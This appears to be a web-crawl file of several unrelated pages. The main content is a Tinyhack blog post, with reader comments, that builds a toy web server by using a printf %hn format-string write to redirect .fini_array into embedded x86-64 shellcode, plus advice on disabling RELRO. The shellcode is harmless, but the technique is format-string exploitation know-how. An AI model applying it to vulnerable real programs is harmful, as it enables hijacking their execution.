overcome the challenges. Learn how to calculate hidden costs, choose the right legal structure, and succeed. Read more IR35: Ultimate guide to UK’s new tax law for businesses & contractors Master the ins and outs of IR35 with our ultimate guide for businesses and contractors. Stay compliant and protect your income! Read more How to Freelance While Working Full Time? Find the right approach to balancing a full-time job with freelancing. Learn how you can manage your time, set goals, and avoid burnout with our smart tips. Read more MORE THAN 120,000 Independents Over 120,000 independents trust Ruul to sell their services, digital products, and securely manage their payments. FROM 190 Countries Truly global coverage: trusted across 190 countries with seamless payouts available in 140 currencies. PROCESSED $200m+ of Transactions Over $200M successfully processed, backed by an 8-year legacy of secure, reliable transactions trusted by independents worldwide. FREQUENTLY ASKED QUESTIONS Everything you need to know. Get clear, straightforward answers to the most common questions about using Ruul. hey@ruul.io What is Ruul? Ruul is a merchant-of-record platform helping freelancers and creators globally sell services, digital products, subscriptions, and easily get paid. Who is Ruul for? Ruul is designed for freelancers, creators, and independent professionals who want a simple way to sell online and get paid globally. How does Ruul work? Open an account, complete a quick verification (KYC), and link your payout account. Then, start selling through your store or send payment requests to customers instantly. How does pricing work? Signing up is free. There are no subscription or hidden fees. Ruul charges a small commission only when you sell or get paid through the platform. What is a Merchant of Record? A merchant of record is the legal seller responsible for processing payments, handling taxes, and managing compliance for each transaction. What can I sell on Ruul? You can sell services, digital products, license keys, online courses, subscriptions, and digital memberships. How do I get paid on Ruul? Add your preferred bank account, digital wallet, or receive payouts in stablecoins as crypto. Funds arrive within 24 hours after a payout is triggered. OPEN AN ACCOUNT START MAKING MONEY TODAY ruul.space/ Thank you! Your submission has been received! Oops! Something went wrong while submitting the form. Trustpilot Product Payment Requests Sell Services Sell Products Subscriptions Ruul Space Pricing For Businesses Resources Blog About Contact Support Referral Program Affiliate Program Partner Program Tools Invoice Generator NDA Generator Service Agreement Generator Freelancer Hourly Rate Calculator All Rights Reserved © 2025 Terms Of Use Privacy Policy	2026-01-13T08:47:55
https://www.linkedin.com/learning/search?trk=organization_guest_guest_nav_menu_learning	Online Courses, Training and Tutorials on LinkedIn Learning Skip to main content Learning LinkedIn Learning Search skills, subjects, or software Expand search This button displays the currently selected search type. When expanded it provides a list of search options that will switch the search inputs to match the current selection. Jobs People Learning Clear text Clear text Clear text Clear text Clear text Join now Sign in Best Match Best Match View Count Newest Done Level Beginner (139,400) Intermediate (177,800) Advanced (25,176) Done Type Course (10,072) Video (261,879) Learning Path (722) Done Time to complete < 10 mins (260,559) 10 - 30 mins (9,570) 30 - 60 mins (3,390) 1 - 2 hours (3,038) 2 - 3 hours (1,190) 3+ hours (2,073) Done Software Python (8,184) Microsoft Excel (7,096) Azure (5,120) Amazon Web Services (AWS) (4,668) Microsoft 365 (3,044) SQL (2,768) ChatGPT (2,106) Power BI (2,000) Google Cloud Platform (1,612) vSphere (991) Microsoft Teams (801) Fusion 360 (737) Logic Pro (730) Git (620) Gemini (592) OpenAI API (592) Docker (520) Junos (270) Server (265) GPT (245) Done Solutions for: Business Higher Education Government Buy for my team Browse most popular courses Collaborating more effectively with Git using workflows 1m Collaborating more effectively with Git using workflows From: Git Workflows Video What is NGINX? 46s What is NGINX? From: Learning NGINX Video Training for a civil workplace 42s Training for a civil workplace From: Teaching Civility in the Workplace Video Mastering manual testing 44s Mastering manual testing From: Understanding Manual Testing Video An enhanced approach to DevOps 1m An enhanced approach to DevOps From: GitOps Foundations Video Conclusion 34s Conclusion From: AI Product Security: Secure Architecture, Deployment, and Infrastructure Video Security and compliance as code 6m Security and compliance as code From: DevOps Foundations: Infrastructure as Code Video Generative AI is a tool in service of humanity 1m Generative AI is a tool in service of humanity From: What Is Generative AI? Video Introduction 58s Introduction From: AI Product Ideation: Principles and Practical Applications Video Testing infrastructure 2m Testing infrastructure From: DevOps Foundations: Infrastructure as Code Video Introduction 51s Introduction From: AI Product Development: Technical Feasibility and Prototyping Video Using AI to create your IaC 9m Using AI to create your IaC From: DevOps Foundations: Infrastructure as Code Video Meet your AI creative collaborator 1m Meet your AI creative collaborator From: How to Research and Write Using Generative AI Tools (2023) Video Bringing resolution to your conflicts 43s Bringing resolution to your conflicts From: Conflict Resolution Foundations Video The circular economy 1m The circular economy From: Circular Economy Business Strategies Video Opus 4.5 Context Control fine-tuned for coding 9m Opus 4.5 Context Control fine-tuned for coding From: AI Trends Video Your role in a disability-inclusive workplace 49s Your role in a disability-inclusive workplace From: Disability Readiness for Leaders and Managers Video Adapt to an unpredictable workplace 1m Adapt to an unpredictable workplace From: Navigating Your Career Through Restructuring, Layoffs, and Furloughs Video Welcome 1m Welcome From: Learning Design for Sustainability Video Managing your job-seeking mindset 1m Managing your job-seeking mindset From: Managing Your Job Seeker Mindset Video Become a likable job candidate 1m Become a likable job candidate From: Engage the Likability Effect in the Job Search Video What are video interviews? 2m What are video interviews? From: Video Interview Tips Video Finding your unadvertised dream job 1m Finding your unadvertised dream job From: Find a Job in the Hidden Job Market Video Build your professional network online 1m Build your professional network online From: Digital Networking Strategies Video Bouncing back after a layoff 1m Bouncing back after a layoff From: Recovering from a Layoff Video How to succeed in a job search 1m How to succeed in a job search From: A Career Strategist's Guide to Getting a Job Video Writing a successful resume 1m Writing a successful resume From: Writing a Resume Video The empathy deficit 1m The empathy deficit From: Digital Body Language Video Why resume writing is hard (and how to make it easier) 44s Why resume writing is hard (and how to make it easier) From: Resume Makeover Video Preparing for a recession 1m Preparing for a recession From: Recession-Proof Career Strategies Video Welcome 1m Welcome From: Finding a Job Video Introduction to Fundamental Skills for Data Work: Data Visualization 15h 31m Introduction to Fundamental Skills for Data Work: Data Visualization Learning Path Course overview 1m Course overview From: Operations Strategy for Business Video Learning SoapUI for API testing 1m Learning SoapUI for API testing From: API Test Automation with SoapUI Video What is the data science playbook? 43s What is the data science playbook? From: The Data Science Playbook for Private Equity and Venture Capital Video Business taxes foundations 1m Business taxes foundations From: Business Tax Foundations Video Why addressing anxiety at work matters 1m Why addressing anxiety at work matters From: Managing Anxiety in the Workplace Video Conclusion 2m Conclusion From: Marketing Analytics: Decoding the Conversion Funnel for Revenue Growth Video Introduction and what's in the course 1m Introduction and what's in the course From: Account Management: Maintaining Relationships Video Data annotation for machine learning 51s Data annotation for machine learning From: Hands-On Data Annotation: Applied Machine Learning Video Facing ambiguity 1m Facing ambiguity From: Navigating Employee Relations as an HR Professional Video Introduction 31s Introduction From: VMware vSphere 8 Certified Technical Associate - Data Center Virtualization (VCTA-DCV) (1V0-21.20) Cert Prep Video Introduction 45s Introduction From: VMware vSphere 8 Certified Technical Associate - Data Center Virtualization (VCTA-DCV) (1V0-21.20) Cert Prep Video Introduction 34s Introduction From: VMware vSphere 8 Certified Technical Associate - Data Center Virtualization (VCTA-DCV) (1V0-21.20) Cert Prep Video Introduction 25s Introduction From: VMware vSphere 8 Certified Technical Associate - Data Center Virtualization (VCTA-DCV) (1V0-21.20) Cert Prep Video Introduction 29s Introduction From: VMware vSphere 8 Certified Technical Associate - Data Center Virtualization (VCTA-DCV) (1V0-21.20) Cert Prep Video Introduction 48s Introduction From: VMware vSphere 8 Certified Technical Associate - Data Center Virtualization (VCTA-DCV) (1V0-21.20) Cert Prep Video Introduction to generative AI in finance 55s Introduction to generative AI in finance From: Leveraging Generative AI in Finance and Accounting Video Introduction to business development strategies 56s Introduction to business development strategies From: Business Development: Strategic Planning Video Urban design and planning 1m Urban design and planning From: Strategic Planning and Urban Design Foundations Video Not seeing what you’re looking for? Join now to see all 272,119 results. Join now Explore Topics Business Technology Buy LinkedIn Learning for your business, higher education, or government team Buy for my team Explore Business Topics Artificial Intelligence for Business Business Analysis and Strategy Business Software and Tools Career Development Customer Service Diversity, Equity, and Inclusion (DEI) Finance and Accounting Human Resources Leadership and Management Marketing Professional Development Project Management Sales Small Business and Entrepreneurship Training and Education See all Explore Creative Topics AEC Animation and Illustration Audio and Music Graphic Design Motion Graphics and VFX Photography Product and Manufacturing User Experience Video Visualization and Real-Time Web Design See all Explore Technology Topics Artificial Intelligence (AI) Cloud Computing Cybersecurity Data Science Database Management DevOps Hardware IT Help Desk Mobile Development Network and System Administration Software Development Web Development See all LinkedIn © 2026 About Accessibility User Agreement Privacy Policy Cookie Policy Copyright Policy Brand Policy Guest Controls Community Guidelines العربية (Arabic) বাংলা (Bangla) Čeština (Czech) Dansk (Danish) Deutsch (German) Ελληνικά (Greek) English (English) Español (Spanish) فارسی (Persian) Suomi (Finnish) Français (French) हिंदी (Hindi) Magyar (Hungarian) Bahasa Indonesia (Indonesian) Italiano (Italian) עברית (Hebrew) 日本語 (Japanese) 한국어 (Korean) मराठी (Marathi) Bahasa Malaysia (Malay) Nederlands (Dutch) Norsk (Norwegian) ਪੰਜਾਬੀ (Punjabi) Polski (Polish) Português (Portuguese) Română (Romanian) Русский (Russian) Svenska (Swedish) తెలుగు (Telugu) ภาษาไทย (Thai) Tagalog (Tagalog) Türkçe (Turkish) Українська (Ukrainian) Tiếng Việt (Vietnamese) 简体中文 (Chinese (Simplified)) 正體中文 (Chinese (Traditional)) Language	2026-01-13T08:47:55
https://tinyhack.com/?p=280	Implementing a web server in a single printf() call – Tinyhack.com --> Skip to content Tinyhack.com A hacker does for love what others would not do for money. Implementing a web server in a single printf() call A guy just forwarded a joke that most of us will already know Jeff Dean Facts (also here and here ). Everytime I read that list, this part stands out: Jeff Dean once implemented a web server in a single printf() call. Other engineers added thousands of lines of explanatory comments but still don’t understand exactly how it works. Today that program is the front-end to Google Search. It is really possible to implement a web server using a single printf call, but I haven’t found anyone doing it. So this time after reading the list, I decided to implement it. So here is the code, a pure single printf call, without any extra variables or macros (don’t worry, I will explain how to this code works) #include <stdio.h> int main(int argc, char argv[]) { printf("%c%hn%c%hn" "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3", ((((unsigned long int)0x4005c8 + 12) >> 16) & 0xffff), 0, 0x00000000006007D8 + 2, (((unsigned long int)0x4005c8 + 12) & 0xffff)- ((((unsigned long int)0x4005c8 + 12) >> 16) & 0xffff), 0, 0x00000000006007D8 ); } This code only works on a Linux AMD64 bit system, with a particular compiler (gcc version 4.8.2 (Debian 4.8.2-16) ) And to compile it: gcc -g web1.c -O webserver As some of you may have guessed: I cheated by using a special format string . That code may not run on your machine because I have hardcoded two addresses. The following version is a little bit more user friendly (easier to change), but you are still going to need to change 2 values: FUNCTION_ADDR and DESTADDR which I will explain later: #include <stdio.h> #include <stdlib.h> #include <stdint.h> #define FUNCTION_ADDR ((uint64_t)0x4005c8 + 12) #define DESTADDR 0x00000000006007D8 #define a (FUNCTION_ADDR & 0xffff) #define b ((FUNCTION_ADDR >> 16) & 0xffff) int main(int argc, char argv[]) { printf("%c%hn%c%hn" "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3" , b, 0, DESTADDR + 2, a-b, 0, DESTADDR ); } I will explain how the code works through a series of short C codes. The first one is a code that will explain how that we can start another code without function call. See this simple code: #include <stdlib.h> #include <stdio.h> #define ADDR 0x00000000600720 void hello() { printf("hello world\n"); } int main(int argc, char argv[]) { (((unsigned long int)ADDR))= (unsigned long int)hello; } You can compile it, but it many not run on your system. You need to do these steps: 1. Compile the code: gcc run-finalizer.c -o run-finalizer 2. Examine the address of fini_array objdump -h -j .fini_array run-finalizer And find the VMA of it: run-finalizer: file format elf64-x86-64 Sections: Idx Name Size VMA LMA File off Algn 18 .fini_array 00000008 0000000000600720 0000000000600720 00000720 23 CONTENTS, ALLOC, LOAD, DATA Note that you need a recent GCC to do this, older version of gcc uses different mechanism of storing finalizers. 3. Change the value of ADDR on the code to the correct address 4. Compile the code again 5. Run it and now you will see “hello world” printed to your screen. How does this work exactly?: According to Chapter 11 of Linux Standard Base Core Specification 3.1 .fini_array This section holds an array of function pointers that contributes to a single termination array for the executable or shared object containing the section. We are overwriting the array so that our hello function is called instead of the default handler. If you are trying to compile the webserver code, the value of ADDR is obtained the same way (using objdump). Ok, now we know how to execute a function by overriding a certain address, we need to know how we can overwrite an address using printf . You can find many tutorials on how to exploit format string bugs, but I will try give a short explanation. The printf function has this feature that enables us to know how many characters has been printed using the “%n” format: #include <stdio.h> int main(){ int count; printf("AB%n", &count); printf("\n%d characters printed\n", count); } You will see that the output is: AB 2 characters printed Of course we can put any address to the count pointer to overwrite that address. But to overide an address with a large value we need to print a large amount of text. Fortunately there is another format string “%hn” that works on short instead of int. We can overwrite the value 2 bytes at a time to form the 4 byte value that we want. Lets try to use two printf calls to put a¡ value that we want (in this case the pointer to function “hello”) to the fini_array: #include <stdio.h> #include <stdlib.h> #include <stdint.h> #define FUNCTION_ADDR ((uint64_t)hello) #define DESTADDR 0x0000000000600948 void hello() { printf("\n\n\n\nhello world\n\n"); } int main(int argc, char argv[]) { short a= FUNCTION_ADDR & 0xffff; short b = (FUNCTION_ADDR >> 16) & 0xffff; printf("a = %04x b = %04x\n", a, b) uint64_t p = (uint64_t)DESTADDR; printf("before: %08lx\n", p); printf("%c%hn", b, 0, DESTADDR + 2 ); printf("after1: %08lx\n", p); printf("%c%hn", a, 0, DESTADDR); printf("after2: %08lx\n", p); return 0; } The important lines are: short a= FUNCTION_ADDR & 0xffff; short b = (FUNCTION_ADDR >> 16) & 0xffff; printf("%c%hn", b, 0, DESTADDR + 2 ); printf("%c%hn", a, 0, DESTADDR); The a and b are just halves of the function address, we can construct a string of length a and b to be given to printf, but I chose to use the “%” formatting which will control the length of the output through parameter. For example, this code: printf("%c", 10, 'A'); Will print 9 spaces followed by A, so in total, 10 characters will be printed. If we want to use just one printf, we need to take account that b bytes have been printed, and we need to print another b-a bytes (the counter is accumulative). printf("%c%hn%c%hn", b, 0, DESTADDR + 2, b-a, 0, DESTADDR ); Currently we are using the “hello” function to call, but we can call any function (or any address). I have written a shellcode that acts as a web server that just prints “Hello world”. This is the shell code that I made: unsigned char hello[] = "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3"; If we remove the function hello and insert that shell code, that code will be called. That code is just a string, so we can append it to the “%c%hn%c%hn” format string. This string is unnamed, so we will need to find the address after we compile it. To obtain the address, we need to compile the code, then disassemble it: objdump -d webserver 00000000004004fd <main>: 4004fd: 55 push %rbp 4004fe: 48 89 e5 mov %rsp,%rbp 400501: 48 83 ec 20 sub $0x20,%rsp 400505: 89 7d fc mov %edi,-0x4(%rbp) 400508: 48 89 75 f0 mov %rsi,-0x10(%rbp) 40050c: c7 04 24 d8 07 60 00 movl $0x6007d8,(%rsp) 400513: 41 b9 00 00 00 00 mov $0x0,%r9d 400519: 41 b8 94 05 00 00 mov $0x594,%r8d 40051f: b9 da 07 60 00 mov $0x6007da,%ecx 400524: ba 00 00 00 00 mov $0x0,%edx 400529: be 40 00 00 00 mov $0x40,%esi 40052e: bf c8 05 40 00 mov $0x4005c8,%edi 400533: b8 00 00 00 00 mov $0x0,%eax 400538: e8 a3 fe ff ff callq 4003e0 <printf@plt> 40053d: c9 leaveq 40053e: c3 retq 40053f: 90 nop We only need to care about this line: mov $0x4005c8,%edi That is the address that we need in: #define FUNCTION_ADDR ((uint64_t)0x4005c8 + 12) The +12 is needed because our shell code starts after the string “%c%hn%c%hn” which is 12 characters long. If you are curious about the shell code, it was created from the following C code. #include<stdio.h> #include<string.h> #include<stdlib.h> #include<unistd.h> #include<sys/types.h> #include<sys/stat.h> #include<sys/socket.h> #include<arpa/inet.h> #include<netdb.h> #include<signal.h> #include<fcntl.h> int main(int argc, char argv[]) { int sockfd = socket(AF_INET, SOCK_STREAM, 0); struct sockaddr_in serv_addr; bzero((char )&serv_addr, sizeof(serv_addr)); serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = INADDR_ANY; serv_addr.sin_port = htons(8080); bind(sockfd, (struct sockaddr )&serv_addr, sizeof(serv_addr)); listen(sockfd, 5); while (1) { int cfd = accept(sockfd, 0, 0); char s = "HTTP/1.0 200\r\nContent-type:text/html\r\n\r\n<h1>Hello world!</h1>"; if (fork()==0) { write(cfd, s, strlen(s)); shutdown(cfd, SHUT_RDWR); close(cfd); } } return 0; } I have done an extra effort (although it is not really necessary in this case) to remove all NUL character from the shell code (since I couldn’t find one for X86-64 in the Shellcodes database ). Jeff Dean once implemented a web server in a single printf() call. Other engineers added thousands of lines of explanatory comments but still don’t understand exactly how it works. Today that program is the front-end to Google Search . It is left as an exercise for the reader to scale the web server to able to handle Google search load. Source codes for this post is available at https://github.com/yohanes/printf-webserver For people who thinks that this is useless: yes it is useless. I just happen to like this challenge, and it has refreshed my memory and knowledge for the following topics: shell code writing (haven’t done this in years), AMD64 assembly (calling convention, preserved registers, etc), syscalls, objdump, fini_array (last time I checked, gcc still used .dtors), printf format exploiting, gdb tricks (like writing memory block to file), and low level socket code (I have been using boost’s for the past few years). Update : Ubuntu adds a security feature that provides a read-only relocation table area in the final ELF. To be able to run the examples in ubuntu, add this in the command line when compiling -Wl,-z,norelro e.g: gcc -Wl,-z,norelro test.c Author admin Posted on March 12, 2014 April 28, 2017 Categories hacks 18 thoughts on “Implementing a web server in a single printf() call” dodi says: March 12, 2014 at 2:04 pm eh buset, serius nih lu ? 🙂 Reply priyo says: March 13, 2014 at 5:07 am scroll up… scroll down… scroll up… scroll down… 100x gagal paham* Reply terminalcommand says: March 13, 2014 at 5:19 am Thank you! Very interesting article. I also didn’t know about the one line webserver at google. Although this is a hard topic, you’ve made a great work simplifying it. Reply Basun says: March 13, 2014 at 10:02 am The one line webserver bit is a joke about Jeff Dean, who works at Google. Its not real. 🙂 Reply Cees Timmerman says: April 20, 2016 at 4:12 pm There are real webserver oneliners: https://gist.github.com/willurd/5720255 Reply anonim says: March 13, 2014 at 5:29 am Diskusinya di https://news.ycombinator.com/item?id=7389623 Reply Neil says: March 13, 2014 at 12:38 pm Shouldn’t there be an exit() somewhere in the fork==0 branch? Otherwise every time there is a request the new child process will become a server too and start accepting requests, right? I think the parent leaks its copy of the file descriptor too. Maybe the fork is a bit redundant. I don’t think the write or close will block with such a small amount of data. Cool post though! I’m not really sure why I’m nitpicking in the shell code. Sorry. Reply admin says: March 14, 2014 at 1:58 am Ah yes, there is an exit from the loop on the assembly code (myhttp.s) but it got removed from http.c when I removed the comment and debug code. And you are also right about the fork, it is unnecessary in this case. At first I was going to write the HTTP headers and then exec some external command. I changed my mind and didn’t bother deleting the fork call. Reply Kyle Ross says: March 13, 2014 at 11:02 pm This is really interesting, but I’m having trouble following whats actually happening. Could you explain how you reduced that C code with includes and methods into a string containing hex codes and how that is turned back into some sort of executable code? Thanks Reply admin says: March 14, 2014 at 2:01 am I think it is beyond the scope of this article to explain about shell code writing. There are many books and tutorials that you can read (just search for “buffer overflow” or “shell code writing”). Reply TTK Ciar says: March 14, 2014 at 1:05 am Alternatively: $ perl -Mojo -E ‘a({inline => “%= `uptime`”})->start’ daemon & Server available at http://127.0.0.1:3000 . $ lynx -dump -nolist http://127.0.0.1:3000/ 17:57:56 up 66 days, 6:45, 108 users, load average: 0.10, 0.12, 0.07 though, perl by definition is cheating. Reply Evan Danaher says: March 14, 2014 at 2:54 pm I’m not sure why you used finalizers instead of just changing the return address on the stack; this may be the first time I’ve ever said this, but stack smashing is much more portable. I’ve made a variant that I’d expect to work on any gcc 4.4-4.7 on x86_64 Linux, and have some ideas which, if they work out, may make it actually “portable” to any x86/x86_64 Unix running a reasonable compiler. https://github.com/edanaher/printf-webserver Reply admin says: March 17, 2014 at 3:02 pm Yes using the stack is also possible, but on most modern system, GCC is compiled with stack protection turned on (and needs to be disabled using -fno-stack-protector). Reply Pingback: Implementing a web server in a single printf() call « adafruit industries blog Itzik Kotler says: March 15, 2014 at 4:35 pm Pretty neat. I did something similar (all though simpler) back in the days. See: http://www.exploit-db.com/papers/13233/ Reply Pingback: Saving the world, one cpu cycle at a time \| Dav's bit o the web programath says: April 22, 2014 at 1:18 pm printf(“%c%hn%c%hn”, b, 0, DESTADDR + 2, b-a, 0, DESTADDR ); ————————————————— i think the fourth parameter should be ‘a-b’, not ‘b-a’, because a == b + (a – b) Reply Pingback: New top story on Hacker News: Implementing a web server in a single printf call (2014) – Latest news Leave a Reply Cancel reply Your email address will not be published. Required fields are marked * Comment * Name * Email * Website Save my name, email, and website in this browser for the next time I comment. Δ Post navigation Previous Previous post: Raspberry Pi for Out of Band Linux PC management Next Next post: Exploiting the Futex Bug and uncovering Towelroot Pages About Archive Search for: Search Follow x.com/yohanes Mastodon Recent Posts CVE-2025-31931 Arbitrary Shared Library Loading in Intel ITT API on Android (affects OpenCV <= 4.10) Decrypting Encrypted files from Akira Ransomware (Linux/ESXI variant 2024) using a bunch of GPUs Patching .so files of an installed Android App Extracting WhatsApp Database (or any app data) from Android 12/13 using CVE-2024-0044 Zygisk-based reFlutter Recent Comments Eitan Porat on About admin on Using U-Boot to extract Boot Image from Pritom P7 lpt2007 on Using U-Boot to extract Boot Image from Pritom P7 admin on Using U-Boot to extract Boot Image from Pritom P7 lpt2007 on Using U-Boot to extract Boot Image from Pritom P7 Archives November 2025 March 2025 November 2024 June 2024 April 2024 January 2024 December 2023 September 2022 March 2021 January 2021 May 2019 January 2019 November 2018 July 2018 May 2018 February 2018 October 2017 September 2017 March 2017 November 2016 November 2015 July 2014 March 2014 February 2014 June 2013 January 2013 November 2011 March 2011 February 2011 July 2010 April 2010 January 2010 December 2009 September 2009 August 2009 June 2009 May 2009 April 2009 March 2009 February 2009 January 2009 December 2008 October 2008 September 2008 August 2008 July 2008 June 2008 May 2008 March 2008 February 2008 October 2007 June 2007 February 2007 January 2007 December 2006 Categories agestar android blog ctf debian flareon flex freebsd google hacks hardware hostmonster linux mac os x misc mobile opensource phone raspberry reverse-engineering sdr security Uncategorized wii writeup Meta Log in Entries feed Comments feed WordPress.org Tinyhack.com Proudly powered by WordPress	2026-01-13T08:47:55
https://ruul.io/blog/how-to-accept-cryptocurrency-payments#$%7Bid%7D	Step-by-Step Guide to Accepting Cryptocurrency Payments Product Payment Requests Get paid anywhere. Sell Services Make your services buyable Sell Products Create once sell forever Subscriptions Get paid on repeat Ruul Space Your personel storefront. One link for everything you offer. Learn more Pricing Resources Partner Programs Referral Program Get 1% for life. Seriously. Affiliate Program Bring users, get paid Partners Let’s grow together. More Blog About us Support Brand Kit For Customers Log in Sign up For Businesses Login Sign up get paid How to Accept Cryptocurrency Payments Find the methods, benefits, and security considerations for accepting crypto payments. Know how cryptocurrencies can open new opportunities for your business. Aypar Yılmazkaya 5 min read RUUL FOR INDEPENDENCE You chose independence.We make sure you keep it. Sell your time, your talent, whatever you create or build always on your terms. Get started See Example This is also a heading This is a heading Key Points Cryptocurrency has been in the news for a long time. But what exactly is cryptocurrency? Basically, it is a currency that has no physical existence and is only present in digital space. You can only transfer it from one computer to the other. It started with one or two cryptocurrencies initially, but now the scenario is completely different. Surprisingly, according to the Crypto Market Sizing Report 2023, there are more than 580 million crypto users worldwide. So, what are you waiting for? This is the best time for you to embrace this modern currency; no matter if you are a businessman or just an individual freelancer. Accepting crypto payments enables you to have faster and more cost-effective transactions. Also, it opens up new business avenues and increases sales for you. However, still, there are many businesses and individuals who are unaware of the tools and technologies of this payment system. So, here, we explain everything regarding cryptocurrency payments, legal considerations, tax implications, and also share some important tips. Introduction to Cryptocurrency Payments Transactions that are done through cryptocurrency are cryptocurrency payments. When crypto came into picture, the popular currencies were Bitcoin and Ethereum. However, to your surprise, today, more than 9000 cryptocurrencies are active in the market. To initiate a cryptocurrency payment, you will need a gateway to facilitate transactions. First of all, the client initiates the payment by paying you the said amount based on the particular cryptocurrency’s fair market value. The cryptocurrency payment service then converts this payment into your desired currency. Once converted, the payment gateway provider adds this money to your bank account. However, if you want to accept your money in the form of cryptocurrency, you can accept it in your personal wallet. Which approach suits you best depends on your business requirements. You can validate and ensure your transaction based on the information encoded in the crypto. A digital ledger, also known as blockchain, records all transactions. So, all in all, you need not worry about managing digital currencies. Also, the process is quite convenient and transparent. Benefits of Accepting Cryptocurrency Are you still skeptical about accepting these digital tokens as your payment? Don’t be; because, here, we share with you the key benefits of accepting cryptocurrency payments. Faster transactions Unlike traditional payment systems, cryptocurrency transactions are very fast as they do not involve intermediaries like banks, brokers, or clearinghouses. Due to its decentralized nature, a crypto transaction takes only 30 minutes to two hours. As the waiting period reduces, both businesses and customers become more efficient. Lesser transaction fees As there are no intermediaries in crypto transactions, you save on paying unnecessary processing fees charged by them. Due to the absence of third parties, the transaction fees in crypto payments are always lower than those in traditional payment systems. Better security The blockchain technology of cryptocurrency enhances the interiority of transactions with its intricate encryption. It’s impossible to alter or manipulate any crypto records. Also, as a crypto owner, you can keep your funds safely in digital wallets which are not accessible without the specific key. As a result, fraud incidents are lesser in crypto transactions, making them accountable and transparent. No chargebacks Generally, businesses have to bear chargebacks when they get into some kind of legal dispute. However, as there is no central authority in crypto transactions, Crypto payment does not involve any central authority; it always happens directly between a business and its customer, and there are no chances of chargebacks. Easier cross-border payments If your business has a global clientele, you need to go through different exchange rates and bank fees. However, you can use cryptocurrency worldwide without any third-party involvement, making cryptocurrency payments easier and affordable to accept. Setting up Cryptocurrency Payment Methods Wondering, how to accept cryptocurrency as a business? Here are some steps that make it clear how to accept crypto payments. 1. Understand the payment gateways or wallets of cryptocurrency There are two ways in which you can accept a crypto payment: payment gateways or cryptocurrency wallets. So, which crypto payment methods do you want to choose? A crypto wallet is a digital wallet where you can hold cryptocurrencies for an indefinite time without converting them to fiat currencies. On the contrary, a crypto payment gateway is an intermediary in your transaction. With this gateway, you can accept the cryptocurrency and get fiat currency in return in your bank account. By far, this is the best way to accept crypto payments. The cryptocurrency payment services allow you to process transactions more easily and quickly. 2. Choosing a payment platform While choosing your payment platform, keep in mind 